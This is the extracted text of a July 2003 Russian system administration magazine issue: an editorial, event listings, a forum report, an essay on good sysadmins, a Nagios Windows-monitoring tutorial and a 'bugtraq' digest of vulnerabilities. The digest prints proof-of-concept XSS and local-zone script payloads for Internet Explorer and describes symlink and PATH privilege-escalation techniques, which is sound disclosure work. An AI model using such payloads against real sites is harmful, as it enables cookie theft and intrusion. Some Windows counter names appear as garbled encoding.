008 Системный Администратор 07 2003

Page 1

№7(8) июль 2003 подписной индекс 81655 журнал для cистемных администраторов, вебмастеров и программистов

Мониторинг Windows-серверов с помощью Nagios Неявный самоконтроль как средство создания неломаемых защит Стартовые скрипты FreeBSD Настройка сервера SSH Python глазами DBA Каким видится хороший системный администратор



оглавление Календарь событий

3 Три составных части защиты Сергей Яремчук grinder@ua.fm

Репортаж с Первого брестского интернет-форума Андрей Кухарчик admin@virtualbrest.ru

4

Олег Попов opopov@yandex.ru

6

Андрей Бешков tigrisha@sysadmins.ru

Александр Потемкин apotemkin@itinfo.spb.ru

20

24

Обучение через Интернет – это возможно? Ольга Игошина Igoshina@scph.mipt.ru

78

28 Powerline: Интернет из розетки Денис Колисниченко dhsilabs@mail.ru

Контроль последовательных портов в Linux Денис Колисниченко dhsilabs@mail.ru

68

СЕТИ

IRC-сервер Александр Слободской info@samag.ru

56

Mac OS X или То, что должен знать 12 каждый про Macintosh, Apple и операционные системы

Настройка сервера SSH Денис Колисниченко dhsilabs@mail.ru

Java: работа с файлами

ОБРАЗОВАНИЕ

Стартовые скрипты FreeBSD Денис Пеплин info@volginfo.ru

52

Даниил Алиевский daniel@siams.com

АДМИНИСТРИРОВАНИЕ Мониторинг Windows-серверов с помощью Nagios Часть1

ПРОГРАММИРОВАНИЕ Python глазами DBA

Каким видится хороший системный администратор Вячеслав Калошин multik@multik.ru

44

86

32 Планируем переезд сети Вячеслав Калошин multik@multik.ru

90

БЕЗОПАСНОСТЬ BUGTRAQ

Неявный самоконтроль как средство создания неломаемых защит Крис Касперски kk@sendmail.ru

10, 31, 42, 94

36

WWW.SAMAG.RU №7(8), июль 2003

1


Две или три недели назад я привезла один из номеров «Системного администратора» своему старому знакомому. Жена знакомого со своей подругой из вполне понятного женского любопытства тут же выхватили номер у меня из рук – посмотреть, что же это за новый журнал, о котором в последнее время с увлечением говорят их мужья. Спустя секунду, обе громко заразительно хохотали. Я в смущении пыталась понять причину столь неадекватной, на мой взгляд, реакции. Как оказалось впоследствии, все дело было в заголовках на обложке. Взгляните со стороны: «Создаем VPN на основе vtun», «LIDS», «Компиляция FreeBSD», «Настройка Radius-сервера» – думаю, продолжать не нужно. Для непосвященного в компьютерные таинства все это звучит равнозначно китайской грамоте. Поэтому понять сисадминов, да еще и пообщаться с ними «на равных» сможет далеко не каждый. По моему субъективному ощущению, системный администратор – это больше, чем профессия. Это стиль жизни. Это целый мир со своим языком, своей философией и уже со своими традициями: каждый год в последнюю пятницу июля системные администраторы всего мира отмечают свой профессиональный праздник. К своему сожалению, я не знаю истории возникновения этого праздника, но мне кажется, что день и месяц выбран вполне в духе сисадминов: можно, не торопясь, отметить его, выбравшись на природу или в какое-нибудь уютное место, одновременно отдохнув и пообщавшись с коллегами. Мне лишь остается поздравить всех «посвященных» от нашей редакции с профессиональным праздником, пожелать вам творческих успехов и бесперебойной работы вверенного «хозяйства»! Наталья Хвостова

2


календарь событий Cеминар системных администраторов ИЮЛЯ и инженеров

ежегодный фестиваль 25-27 Пятый разработчиков и пользователей

Портал SysAdmins.RU (htttp://sysadmins.ru) объявляет о проведении первого в России Семинара системных администраторов и инженеров. Данное мероприятие приурочено ко второй годовщине проекта SysAdmins.RU и является одной из вех, знаменующих очередной этап развития проекта. Семинар будет посвящен проблемам IT, тенденциям рынка IT, рынку труда с точки зрения IT-специалистов и множеству смежных вопросов. На семинаре выступят специалисты различных компаний, активно работающих на российском и мировом ITрынке. Тематика выступлений такова, что будет интересна как сугубо техническим специалистам, так и руководителям IT-подразделений, служб техподдержки, IT-менеджерам разного уровня. В перерывах – кофе и закуски. В неофициальной части – пиво, розыгрыши призов и т. п. Семинар состоится 12 июля 2003, начнется в 12-00 по московскому времени и продлится до 20-00. Семинар будет проводиться в очень уютном и удобном месте – Доме ветеранов кино (ДВК). Адрес: г. Москва, ул. Нежинская, 5. (от м. Киевская на маршрутном такси №7 до остановки «Дом Ветеранов Кино»). Вход на семинар 150 руб. Ознакомиться с подробной программой, зарегистрироваться для участия на семинаре и посмотреть карту проезда можно на htttp://SYSM.ru.

С 25 по 27 июля 2003 года в Калужской области будет проходить пятый ежегодный фестиваль разработчиков и пользователей свободного программного обеспечения LinuxFest. Организатор фестиваля интернет-ресурс Linux.ru.net приглашает всех желающих посетить этот небольшой праздник свободного ПО, познакомиться с коллегами, найти новых единомышленников и просто провести выходные в живописном месте на берегу реки Протвы. В программе фестиваля: круглые столы по различным тематикам, конкурсы, общение, активный отдых. Самых активных участников сообщества разработчиков и пользователей Linux ожидают призы от компании ALT Linux и журнала «Системный администратор». Традиционно для участия в фестивале приезжающим необходимо иметь при себе туристическое снаряжение (палатка, рюкзак и т. д.) и запас пропитания на все время фестиваля. Подробная карта проезда, FAQ, список участников и прочие подробности – на сайте Linux.ru.net. Обязательная регистрация участников производится на сайте Linux.ru.net в разделе «фестиваль». Организационный сбор за участие в фестивале – 100 руб. с человека.

12

№7(8), июль 2003

ИЮЛЯ

свободного ПО

3


репортаж

ПЕРВЫЙ БРЕСТСКИЙ ИНТЕРНЕТ-ФОРУМ

14 июня в городе Бресте (Беларусь) прошел первый в республике региональный интернет-форум. Мероприятие оказалось невероятно популярным благодаря тому, что участники постарались создать для посетителей не столько деловую атмосферу, сколько настроение праздника. И именно поэтому интересно было присутствовать не только специалистам интернет-технологий, но и самым простым пользователям, делающим свои первые шаги в удивительной стране Интернет. Инициаторами и организаторами форума выступили городской портал «Виртуальный Брест» (http://virtual.brest.by) и компьютерный салон «Успех» (http://204040.com). Цель интернет-форума заключалась в том, чтобы продемонстрировать возможности современных цифровых устройств и решений для Интернета, и она была с блеском выполнена в ходе мероприятия. Генеральным спонсором интернет-форума стала корпорация Intel. Ее специалисты продемонстрировали на специально оборудованных стендах преимущества систем, построенных на основе компьютеров с процессорами Intel Pentium 4, в том числе с поддержкой революционной технологии Hyper-Threading. Работа и демонстрации велись в таких областях, как аудиообработка, цифровые фото-, видеосъемка и монтаж, коммуникации (высокоскоростной доступ в Интернет), компьютерные игры, работа с периферийными цифровыми устройствами (принтеры, сканеры, фото-, видеокамеры и т. д.).

4

Кроме всего прочего, были наглядно продемонстрированы преимущества и модели использования ПК для учебы, работы, творчества и развлечений. В реальном времени посетители смогли наблюдать за монтажом и обработкой аудио- и видеофрагментов, работой в Интернете в составе беспроводной сети как в ее обычном виде, с использованием коммутируемого доступа к Интернету, так и с применением мобильных GPRS-решений. Посетители Брестского интернет-форума смогли познакомиться и с мобильными технологиями Intel. На стендах компаний ASBIS и «Успех» демонстрировались ноутбуки на базе технологии Intel Centrino для мобильных ПК и карманные компьютеры на основе технологии Intel XScale. На приглашение принять участие в первом интернетфоруме откликнулось достаточно много участников. В первую очередь, это интернет-проекты и организации города, среди которых – ведущие дизайнерские студии, хостингпровайдеры, общественные организации и т. д. И кроме того, не остались в стороне представители ведущего сотового оператора VELCOM, продемонстрировав преимущества работы мобильного Интернета по системе GPRS. После первой части, в рамках которой проходила выставка цифровых технологий, посетители были приглашены на интернет-конференцию. В ходе ее были зачитаны доклады ведущих специалистов не только города Бреста, но и республики. Слушатели смогли узнать об особенностях развития и построения сайтов в Беларуси, уточ-


репортаж

нить разнообразные вопросы электронной коммерции относительно национальных стандартов, на примерах разных сайтов увидеть, как нужно и как не не нужно создавать корпоративные решения для Интернета. В конференции приняли участие специалисты Белорусского портала TUT.BY, Государственного Университета им. А.С. Пушкина, ведущих интернет-проектов города и т. д. По окончании конференции среди посетителей был проведен розыгрыш ценных призов, предоставленных участниками интернет-форума. Счастливчикам были в присутствии всех вручены современные модемы, оптические мышки, клавиатуры, наушники и разнообразные компьютерные аксес-

№7(8), июль 2003

суары. Кроме того, особое внимание привлек розыгрыш доменных имен и хостинга от проекта HOSTER.BY. В ходе конкурса, на который отозвались более 30 желающих, были заданы несколько сложных вопросов, и по результатам ответов эти специфические призы были распределены. После розыгрыша посетители смогли задать свои вопросы докладчикам и участникам, а также познакомиться и пообщаться на интересующие их темы. Материалы, тезисы и доклады прошедшего интернетфорума можно найти на официальном сайте http:// bif.virtualbrest.com. Андрей Кухарчик

5


из личного опыта

КАКИМ ВИДИТСЯ ХОРОШИЙ СИСТЕМНЫЙ АДМИНИСТРАТОР

6


из личного опыта Нет, я не Господь Бог, я всего лишь ваш Системный Администратор... (одно из частых высказываний сисадминов начальству)

Хороший системный администратор – как много в этих трех словах отзывается в сердце любого начальника. В самом деле, как распознать хорошего системного администратора среди претендентов на вакантное место? Ведь что ни говори, сисадмин в компании – одно из самых незаметных лиц и в то же время одно из самых важных. Именно от него (от них, если их много) зависит, будут ли «бесперебойно работать» ваши сотрудники, и сможете ли вы гарантировать хоть какой-то уровень обслуживания своим клиентам. Не стоит путать сисадмина с «аникейщиком». Если первый рулит серверами и прочим оборудованием, то второй заменяет картриджи в принтерах, разбирается с нечитающимися дисками и обьясняет пользователям, куда и что надо нажать. (Термин «аникейщик» пошел с тех времен, когда программа выводила на экран сообщение «press any key to continue» и пользователи, не находя кнопки «any key» на клавиатуре, звали администратора.) Я периодически с постоянством маятника бываю по обе стороны «баррикад» и попытаюсь хоть чуть-чуть развеять заблуждения, бытующие в обоих средах. Конечно, как начальник я еще слаб, но мало кто аргументированно сможет упрекнуть меня в том, что я плохой сисадмин.

Наиболее частые заблуждения со стороны начальства

ВЯЧЕСЛАВ КАЛОШИН №7(8), июль 2003

Зачем платить сисадмину $1000, когда на рынке очень много предложений от людей, готовых работать за $300-400. Не забывайте, что скупой платит дважды. Квалифицированный специалист не может стоить дешево, так же, как вы не сможете найти новый S600 за $20000. Чем выше квалификация специалиста, тем меньше он допустит простоев в работе системы. Посчитайте, во сколько вам обойдется простой в 1 час (когда вообще все не работает) или периодические перебои в работе в течение хотя бы одного дня (то принтер не печатает, то почта не уходит, то телефон не звонит)... Зачем мне один сисадмин за $1000? Пусть будут трое по $300. Сисадмины – не токари у станка. И не стоит ожидать от трех сисадминов того, что они разберутся с проблемой быстрее одного за $1000. Плюс у трех сисадминов за такую цену не будет такого же опыта, как у одного за $1000. К сожалению, опыт – это такая величина, которая очень редко поддается суммированию. Хорошо, пусть будет сисадмин за $1000, но он должен знать (список из 40 пунктов: от протоколов и настройки Windows до программирования сайта). Сисадмин – не многорукий Шива. Он может одновременно по телефону выяснять с секретаршей, почему у нее принтер ничего не печатает, и выяснять, почему на сайте показываются неактуальные цены, но будет делать это хреновооо... Попросите своего главного бухгалтера одновременно с выставлением счетов партнерам обьяснять клиенту что-нибудь, и все поймете моментально... Хорошие сисадмины обычно являются профессионалами в узкой области, поэтому не стоит специалиста по сетям заставлять администрировать веб-сайт. Ничего хорошего из этого обычно не получается. Хотя может по-

7


из личного опыта везти, и у вас будет многопрофильный специалист, который сможет и шлюз для подключения сотрудников из дома настроить, и создать сайт для компании. Но такие редко бывают, берегите их. А как узнать о том, что системный администратор хороший? Ведь на лице у него это не написано? Ни в коем случае не полагайтесь на наличие/отсутствие сертификатов. Сертификаты – просто подтверждение того, что человек заплатил деньги, прослушал курсы и правильно поставил галочки на экзамене. Всё. Максимум, что вы можете предположить – это наличие базовых знаний по предмету. Я знаю людей, которые могут гордо показать сертификат MСSE, но все их попытки завести сервер так, чтобы он не требовал к себе внимания хотя бы неделю, тщетны. Но я знаю и людей, которые имеют сертификат CCNA и способны легко построить бесперебойно работающую сеть в десятке филиалов. По крайней мере, поговорите с сисадмином из дружественной компании и выясните реальную ценность сертификата. Единственно гарантированно работающий способ, который я знаю – это присматриваться к сисадмину в течение испытательного срока. Если сисадмин хороший, ваша компания не должна даже заметить, что появился новый человек (если до этого все работало хорошо) или все стало работать лучше. Если же примерно дня через два после того, как приняли на работу сисадмина, компанию начало лихорадить и лихорадило с день-два-неделю, а потом все вошло в норму и стало еще лучше – сисадмин нормальный, но опыта маловато. А вот если все залихорадило и продолжает лихорадить (сисадмин бегает от сотрудника к сотруднику и так далее) – срочно изменяйте свою шкалу зарплаты для сисадмина и ищите нового. В общем, рекомендации для выбора сисадмина в основном те же, что и для выбора главного бухгалтера.

Маленькие рекомендации для размещения сисадминов

Если есть возможность, выделите для системного адми-

8

нистратора просторную комнату и дайте ему некоторую свободу действий. Хороший сисадмин через некоторое время стащит в эту комнату все важное для работы компании оборудование. Обеспечьте этой комнате железную дверь (еще лучше, чтобы и охранник неподалеку сидел) и нормальную вентиляцию (сервера имеют тенденцию очень быстро греть воздух, но сами в жаре работать не любят). Отныне эта комната – серверная. В ней бьется электронное сердце вашей компании. Если серверная уже есть, пусть сисадмин сидит гденибудь неподалеку. Вы же не просите бухгалтера составить баланс, находясь дома. И ради бога, уберите подальше от него сотрудников с кучей телефонов. Или наоборот, уберите сисадмина от них. Постоянные звонки при отладке оборудования раздражают гораздо сильнее, чем плохая секретарша. Хоть иногда прислушивайтесь к тому, что говорит вам сисадмин. Да, иногда он разговаривает на другом языке, но понять его можно, особенно если выделить ему хотя бы полчаса и уведомить его об этом не за пять минут.

Признаки хорошего сисадмина

В меру здоровая лень. Хороший сисадмин никогда на

вопрос «Что делаешь?» не ответит: «Вот, вышла новая софтина, ставлю на сервер». Если примерно 50% времени сисадмин пьет чай и у вас все работает – сильно радуйтесь, очень сильно радуйтесь. Никогда не спрашивайте у сисадмина «Что делаешь?». Спросите «Что сделал?» или «Что будешь делать?». Многие сисадмины работают в прерывистом режиме: пообщаются с друзьями, подумают, что-то подправят, почитают документацию и так далее по кругу. Это совершенно нормальный ритм работы. Хороший сисадмин всегда готов предоставить полную информацию о системе, начиная с того, сколько проработал сервер, и заканчивая почасовым разбиением обьема скачанного на компьютер сотрудника Н. Не увлекайтесь паранойей, он не читает вашу почту. Но готов дать вам информацию, сколько вы писем отправили и какого они были обьема. Он всегда держит резервные копии. И просьба «Мне нужен этот файл таким, каким он был 4 месяца назад» не должна его удивлять. Привыкните к тому, что сисадмины – вечерне-ночные существа. Дело в том, что серьезные работы лучше делать тогда, когда сервера меньше всего загружены. Хороший сисадмин обычно умеет очень хорошо говорить. Это легко вывести из предыдущих пунктов. Есть немного свободного времени – почему бы не почитать что-нибудь из художественной литературы и отдохнуть. Дело начинается обычно с фантастики и заканчивается классикой. Он никогда не бросает работу на полпути. Если что-то сломалось, он уходит в авральный круглосуточный режим до починки. Если вы позаботитесь о том, чтобы ему в 2 часа ночи привезли пиццу к серверу, находящемуся в починке, то он будет благодарен вам и в будущем горы для вас свернет. У хороших сисадминов что-то ломается редко. Это не их стиль работы. Он не пьет пиво, вино, водку и прочий алкоголь на рабочем месте. Кофе или чай – легко. Алкоголем он нагружается в специально отведенных для этого местах. И чем выше качество (не количество!) алкоголя, тем лучше. И наконец, он не болеет манией величия. Пользователи никогда от него не услышат обвинений в тупости и то, что они его, такую сияющую вершину мироздания, достали до колик в животе.

Основные ошибки сисадминов

Босс не понимает, что мне надо вот ЭТО.

Вы разговариваете с ним на разных языках. Боссу нет никакого дела до какой-то железки и вашей нужды в ней. Но ему вовсе не безразлична работа компании и ее прибыль. Сядьте, подумайте 5 минут и найдите толковое и разумное обоснование тому, что вы просите. Если вы его не можете найти, не обижайтесь, что босс все выслушает и вежливо отправит вас ни с чем. Научитесь выражать свои мысли не только словами «круто» и «рулез».


из личного опыта Пример Ваш workgroup-сервер начал «задыхаться». Да-да, компания растет, а сервер – нет. Пусть есть сервер PIII-500/ 256/20+20 stripe. Вы сели, подумали, посмотрели статистику (см. ниже) и решили, что на следующий год компании нужен 2xPIII-1000/1024/80 raid5. Поглядели по прайсам и выяснили, что обойдется он в $5000 (условно). Пошли к боссу. Просунули голову в дверь: «А... эта, Михаил Иванович, мне тут нужен сервер новый. $5000 стоит. Ну эта... старый уже старый, и вообще, он уже не так работает и не справляется». Думаете, это шутка? Нет, так происходило на моих глазах пару раз. Понятно, что потом идут жалобы на черcтвость босса и вообще на плохую жизнь сисадминов. Подготовьте графики загрузки сервера хотя бы по процессору, памяти, сети и дискам. Покажите на них четкую черту, где возможностей сервера уже не будет хватать. Распишите кратко, чем это грозит в перспективе на 2-3 месяца и на полгода. Предложите желательную конфигурацию и марку сервера и точно так же распишите, что изменится после его ввода в эксплуатацию. Затем подойдете к секретарше и ласково договоритесь, что она устроит так, что босс выделит вам полчаса и его никто не будет отвлекать телефонными звонками. Всё. 95% того, что сервер купят или включат в бюджет следующего квартала. Не гонитесь за дешевизной. Да, 24-х портовый хаб за $100 стоит в 10 раз дешевле Cisco2950. Но если вы купите и поставите этот хаб в ядре сети из 100 компьютеров, а на оставшиеся деньги увеличите себе винт в машине, то не рассчитывайте оправдаться словами «Михаил Иванович, а что я могу поделать...». Да, самосборный сервер дешевле сервера от HP или IBM. Но и работать под нагрузкой он будет во столько же раз хуже. Поверьте моему опыту. Собирайте статистику. Статистика – это не только повод построить красивые графики, но и мощный инструмент прогнозирования проблем и неприятностей. Вы же сами лучше поймете, почему вон тот хаб не перестает мигать лампочками.

он должен зайти в этот каталог и попытаться решить проблему выбора: что ему нужно очень, а что не очень;

он должен найти место для того, чтобы положить не

очень нужное. В общем, как миниум, вы полчаса оторвете у каждого, кто получил это сообщение. А теперь получайте проблемы, которые вы сами себе создали: невозможность собрать нормальный бэкап или возможность его собрать с куда большими усилиями; вы прививаете пользователю привычку хранить все на своей машине. Как вы будете обьяснять боссу, что на бухгалтерской машине (кстати, почему-то обычно самой слабой из парка) пропал из-за поломки диска авансовый отчет за прошлый год? И почему этот отчет не влез в дисковую квоту на живом сервере? вы разрушаете структуру защиты сети (если есть, что разрушать). Пользователю будет проще перекинуть файл по аське или открыть диск С: на запись, чем положить файл на сервер; вы потеряли возможность проверить этот файл в автомате антивирусом. Береженого бог бережет. Не ударяйтесь в другую крайность: не потакайте пользователям во всем. Пользователь должен быть как цыпленок под курицей. Хорошо, тепло, сухо и еды вдоволь (говоря другими словами – все работает в удобном для него режиме и ему не надо вспоминать ваш телефон для выяснения вопроса о распечатке цветной диаграммы на струйном принтере). Но цыпленок одновременно должен знать, что если он высунется из гнезда, то получит клювом по лбу. То есть сын секретарши не должен по вечерам ставить новые игры непонятно откуда, и менеджер не должен иметь возможности сменить Win2000 на WinXP только потому, что она красивее и вообще она новее и дома у него такая. Пользователи должны знать, что им можно и что нельзя. Для этого придумали такую вещь, как корпоративный кодекс, даже если корпорация состоит из 10 человек. В общем, будьте строго добры к пользователям и они ответят вам тем же.

Самая главная и распространенная ошибка Поймите, наконец, что не компания работает для вас, и пользователи – не надоедливые «тупые человечки», которые отвлекают постоянно. Вы работаете для компании и для того, чтобы эти «тупые человечки» работали как можно более продуктивно. Если они не понимают в компьютерах так же, как вы, то это не означает, что вы понимаете в их области деятельности так же, как они.

Пример Рассылка по сети: «Немедленно всем почистить свои каталоги на диске W:, а то удалю все, к чему не прикасались больше месяца. И вообще, сервер не резиновый и все такое». Вы, извините, создаете проблемы себе, тормозите работу компании и вообще... Посмотрите на это со стороны пользователя: он должен прерваться и осмыcлить сообщение;

№7(8), июль 2003

9


bugtraq Межсайтовый скриптинг при обработке некорректных XML-документов в Microsoft Internet Explorer Уязвимость обнаружена в Internet Explorer в обработчике XML-документов. Удаленный атакующий может выполнить произвольный код сценария в контексте целевого веб-сайта. Internet Explorer автоматически пытается анализировать любой XML-файл, который запрашивается браузером. Если анализ прошел успешно, в браузере пользователя отобразится динамическое дерево различных XMLэлементов. Если при анализе возникает ошибка, Internet Explorer отобразит ошибку вместе с URL запрашиваемого XML-файла. В некоторых случаях отображенный URL не фильтруется на наличие HTML-кода. Фактически это означает, что наличие на вашем сайте XML-файла, который не может быть правильно проанализирован Internet Explorer и MSXML, делает ваш сайт уязвимым к XSS-нападениям. Проблема была воспроизведена в различных установках, но GreyMagic не смог достоверно определить уязвимый компонент. Скорее всего, уязвимость затрагивает некоторые версии MSXML, а не Internet Explorer непосредственно. Пример: http://host.with.unparsable.xml.file ↵ /flaw.xml?<script>alert(document.cookie)</script>

Microsoft смогла воспроизвести обнаруженный недостаток только на IE6 Gold. Как сообщает GreyMagic, они смогли воспроизвести уязвимость на следующих системах: IE5.5 NT4, IE6 Win98, IE6 Win2000.

Поднятие локальных привилегий в Sun Java Virtual Machine на Linux-системах Уязвимость обнаружена в Sun Java Virtual Machine. Локальный пользователь может получить поднятые привилегии на системе. Sun Java Virtual Machine (JVM) на Linuxсистемах небезопасно сохраняет временные лог-файлы в '/tmp'-каталоге. Согласно сообщению, JVM создает файл '/tmp/jpsock.**_*' при загрузке, без предварительной проверки существования файла, и если файл существует, не проверяет, кто его владелец. Локальный пользователь может сконструировать символьную ссылку из произвольного файла к временному имени файла. Затем, когда целевой пользователь запускает JVM, ссылающийся файл будет перезаписан с привилегиями целевого пользователя. Уязвимость обнаружена в j2re1.4.1_02 on Linux. Способов устранения обнаруженной уязвимости не существует в настоящее время.

Удаленное выполнение произвольного кода в Microsoft Internet Explorer Уязвимость обнаружена в Internet Explorer в механизме обработки HTTP-ошибок. Удаленный пользователь может выполнить произвольный код в Local Zone на целевой системе. Internet Explorer поставляется с несколькими файлами, отвечающими за обработку HTTP-ошибок («Friendly HTTP error messages»). Например, если «site.com» сгенерировал 404 HTTP-ошибку, то следующий внутренний URL будет отображен IE: errorres://shdoclc.dll/404_HTTP.htm#http://site.com/file.html

Обнаружено, что вышеупомянутая процедура разбора содержит недостаток, который может использоваться для выполнения произвольного кода сценария в Local Zone. В результате удаленный атакующий может читать произвольные локальные файлы, выполнять произвольные команды и выполнять другие потенциально деструктивные действия. Удаленный атакующий может представить специально обработанное значение после поля #sign, которое заставит функцию записать «javascript:» URL в отображаемую ссылку. Пример: res://shdoclc.dll/HTTP_501.htm#javascript: ↵ %2f*://*%2falert(location.href)/

Чтобы проверить уязвимость, скопируйте URL в браузер и кликните на ссылку. Уязвимость обнаружена в Microsoft Internet Explorer 5.5-6.0. Способов устранения обнаруженной уязвимости не существует в настоящее время.

Повышение локальных привилегий в Progress Database Уязвимость обнаружена в Progress Database в нескольких вспомогательных программах. Локальный пользователь может получить root-привилегии на целевой системе. Сообщается, что когда выполняются некоторые вспомогательные файлы, база данных загружает общедоступные файлы объектов с dlopen()-функцией, основываясь на пути, определенном в переменной PATH. Локальный пользователь может изменить переменную PATH, чтобы сослаться на другое местоположение, в котором расположены альтернативные версии объектных файлов, которые будут выполнены с root-привилегиями. Согласно сообщению, уязвимо большинство программ, расположенных в '/usr/dlc/bin'-каталоге. Уязвимость обнаружена в Progress Database 9.1 – 9.1D06. В качестве временного решения, можно удалить setuid bit из уязвимых программ.

Составил Александр Антипов

10



администрирование

Часть 1

АНДРЕЙ БЕШКОВ 12


администрирование С момента публикации первой статьи о Nagios прошло довольно много времени, но вопросы и пожелания все продолжают приходить. Самый часто встречающийся вопрос – как настроить слежение за серверами, работающими под управлением семейства операционных систем Windows. В этой статье мы рассмотрим два способа, используя которые можно добиться осуществления наших желаний. Как всегда система, мониторинга Nagios работает под управлением моей любимой системы FreeBSD 4.7. Приверженцы Linux, Solaris и других Unixподобных систем тоже не останутся в стороне. Все описанные ниже приемы с незначительными изменениями можно с успехом применять и в их системах. В качестве подопытной системы будет использоваться русская версия Windows 2000 Professional. Такой выбор обусловлен тем фактом, что настроить программное обеспечение для исправной работы с русской версией сложнее, чем с аналогичной английской. Придется решать проблемы, связанные с локализацией, а значит, статья получится гораздо полезнее и интереснее. Последовательность действий по настройке программного обеспечения выглядит практически одинаково для всех версий Windows. Я надеюсь, что никому из вас не приходит в голову мысль серьезно рассматривать в качестве операционной системы для установки на сервер Windows 3.1, 3.11, 95, 98, ME. Поэтому дальше в этой статье о них не будет сказано ни слова, соответственно, вы можете с полным правом считать, что все методы, описанные ниже, работать с ними, скорее всего, не будут. В дальнейшем предполагается, что вы прочитали первую статью, подробно описывающую основы установки и настройки Nagios, либо в февральском номере журнала «Системный администратор», либо на моем сайте http://onix.opennet.ru/. Покончив с формальностями, приступим к изучению конструкции и принципов работы подсистемы сбора данных о производительности. Такая система встроена в каждую версию Windows-системы старше, чем Windows ME. Для сбора статистики о своем функционировании Windows NT, Windows 2000, Windows XP используют объекты производительности. Делать подобные утверждения о Windows 2003 не буду, потому что потрогать ее пока не удалось. Каждый компонент системы в процессе работы генерирует данные о производительности и складывает их в счетчики (performance counters) собственного объекта производительности. На самом деле объект – это абстракция, введенная для облегчения понимания материала. Логичнее всего было бы представлять объект как группу счетчиков, связанную с наблюдаемой службой или ресурсом. Чаще всего название объекта совпадает с названием родительского системного компонента. В большинстве случаев объекты производительности соответствуют компонентам оборудования компьютера – память, процессор, жесткие диски. В то же время многие службы и программы могут создавать свои собственные объекты производительности. Иллюстрацией такого утверждения являются объекты службы «Обозреватель компьютеров» или серверной программы Internet Information Server. К

№7(8), июль 2003

примеру, объект «Файл подкачки» содержит внутри себя набор счетчиков, говорящих о состоянии одного или нескольких файлов виртуальной памяти, используемых системой. Некоторые подсистемы имеют всего один экземпляр объекта производительности, другие же могут иметь несколько. К первому виду относятся «Система», «Память», «Сервер». «Жесткий диск» и «Процессор», соответственно, ко второму. Согласитесь, что жестких дисков в компьютере может быть несколько, а значит, внутри системы они должны быть представлены отдельными подсистемами. В то же время оперативная память, вне зависимости от количества чипов, является единым компонентом. А посему иметь больше одного экземпляра объекта производительности ей не положено. В случае если подсистема обладает несколькими экземплярами объекта, есть возможность следить за счетчиками всех экземпляров или за одним общим. В зависимости от языка операционной системы, объекты и счетчики называются по-разному. К примеру, посмотрим, как будет называться один и тот же счетчик в локализованных версиях Windows 2000:

По моему мнению, идеи более глупой, чем подобное чрезмерное увлечение локализацией, придумать нельзя. Представьте себе процесс написания программы, использующей в своей работе счетчики. Придется постоянно переделывать программу для каждой новой локализованной версии Windows. В дальнейшем все приводимые примеры будут опираться на русские версии перечисленных операционных систем семейства Windows. Чтобы закрепить все вышесказанное, давайте рассмотрим несколько примеров счетчиков: \\TIGROID\Ïðîöåññîð(_Total)\% çàãðóæåííîñòè ïðîöåññîðà \\TIGROID\Ïðîöåññîð(0)\% çàãðóæåííîñòè ïðîöåññîðà \\TIGROID\Ïðîöåññîð(1)\% çàãðóæåííîñòè ïðîöåññîðà

Первый компонент – это имя моего домашнего компьютера, на котором я пишу статьи и провожу тестовые инсталляции. «Процессор» – название объекта. Как вы могли бы догадаться, (_Total) – экземпляр, инкапсулирующий внутри себя данные о производительности всех процессоров системы. Соответственно, (0) и (1) – экземпляры объектов первого и второго процессоров. И наконец, «% загруженности процессора» – название самого счетчика. В повседневной практике сложилась традиция для краткости записывать названия счетчиков без имен компьютеров. Я считаю, что нам также стоит придерживаться ее. Счетчики бывают следующих типов: Моментальный – всегда содержит последнее значение использования ресурса. В качестве разъяснения приводим счетчик \Очередь печати(_Total)\Заданий, собирающий данные о количестве заданий в очереди печати.

13


администрирование Усредненный – хранит среднее число, созданное на основе двух последних значений счетчика. Примером такого типа является счетчик \Память\Страниц/сек., содержащий в себе среднее значение частоты смены страниц памяти в секунду. Существует возможность создавать счетчики других типов. Но для этого необходимо иметь пакет Platform Software Development Kit. Впрочем, обсуждение подобных методик выходит далеко за границы этой статьи. Просмотреть список объектов и счетчиков, существующих в системе, а также полюбоваться на их содержимое можно с помощью модуля «Монитор производительности», входящего в состав консоли управления Microsoft. А если говорить совсем просто, то открыть вышеописанный модуль можно выполнив программу perfmon.exe. После ее запуска мы должны увидеть примерно такое окно:

Рассмотрим подробнее, что за чудо дизайна предстало перед нами. Слева мы видим дерево модуля, справа – координатная плоскость для отображения графиков. Сверху у нас находится панель инструментов. Ну а внизу – список счетчиков, используемых для построения графика. Для добавления еще одного счетчика в список нажимаем кнопку «+», находящуюся на панели инструментов.

С помощью такого диалога можно просмотреть полный список счетчиков, объектов и их экземпляров, существующих в системе на данный момент. Для того чтобы

14

узнать, как правильно называется тот или иной счетчик, добавьте его в список отображения. Очень полезно во время просмотра списка доступных счетчиков нажать кнопку «Объяснения», так как названия счетчиков недостаточно информативны. К примеру, как вам такой шедевр ясности с первого взгляда: «% времени DPC»? Ладно, оставим названия на совести создателей системы. Хотя если есть желание, можно нажать кноку “Объяснение” и на экране появится маленькое окошко с кратким и не всегда понятным объяснением предназначения того или иного счетчика. Выбрав нужный счетчик, жмем кнопку «Добавить». Затем правой клавишей мыши щелкаем в центре графика и выбираем пункт меню «Свойства». В появившемся диалоговом окне наше внимание привлекает вкладка «Данные».

Теперь-то каждый из вас сможет не только выбрать счетчики по вкусу, но и правильно записать их название. Ну а если самому от руки перепечатывать названия счетчиков в другие программы не хочется, то можно выполнить еще одну хитрость. Правой клавишей кликаем в центр графика и выбираем «Сохранить как». В открывшемся диалоге вводим имя файла test.html и жмем “Сохранить”. Затем любым редактором открываем получившийся файл и среди кучи всяких ненужных данных, ближе к концу файла, видим полное и правильно написанное название счетчика. Затем с помощью буфера обмена его можно будет вставить в любую программу. Вкратце обсудив принципы, лежащие в основе сбора данных о производительности Windows-машин, посмотрим, как можно с пользой для дела применять только что полученные знания. Подопытная Windows-машина называется win2000rus. Для начала давайте выполним обязательные действия, необходимые для того, чтобы Nagios узнал об этой машине. Делать это придется вне зависимости от того, какой способ мониторинга мы изберем. Поэтому внесем ее данные в файл hosts.cfg. # Îïèñûâàåì õîñò ïî èìåíè win2000rus define host{ use generic-host host_name win2000rus alias Windows 2000 Russian address win2000rus check_command check-host-alive max_check_attempts 10 notification_interval 120 notification_period 24x7 notification_options d,u,r }


администрирование Теперь добавляем его в файл hostgroups.cfg, описывающий группы хостов. define hostgroup{ hostgroup_name win-servers alias Windows Servers contact_groups win-admins members win2000rus }

Создаем в файле contacts.cfg запись для человека, отвечающего за Windows-сервера. define contact{ contact_name alias service_notification_period host_notification_period service_notification_options host_notification_options service_notification_commands host_notification_commands email pager }

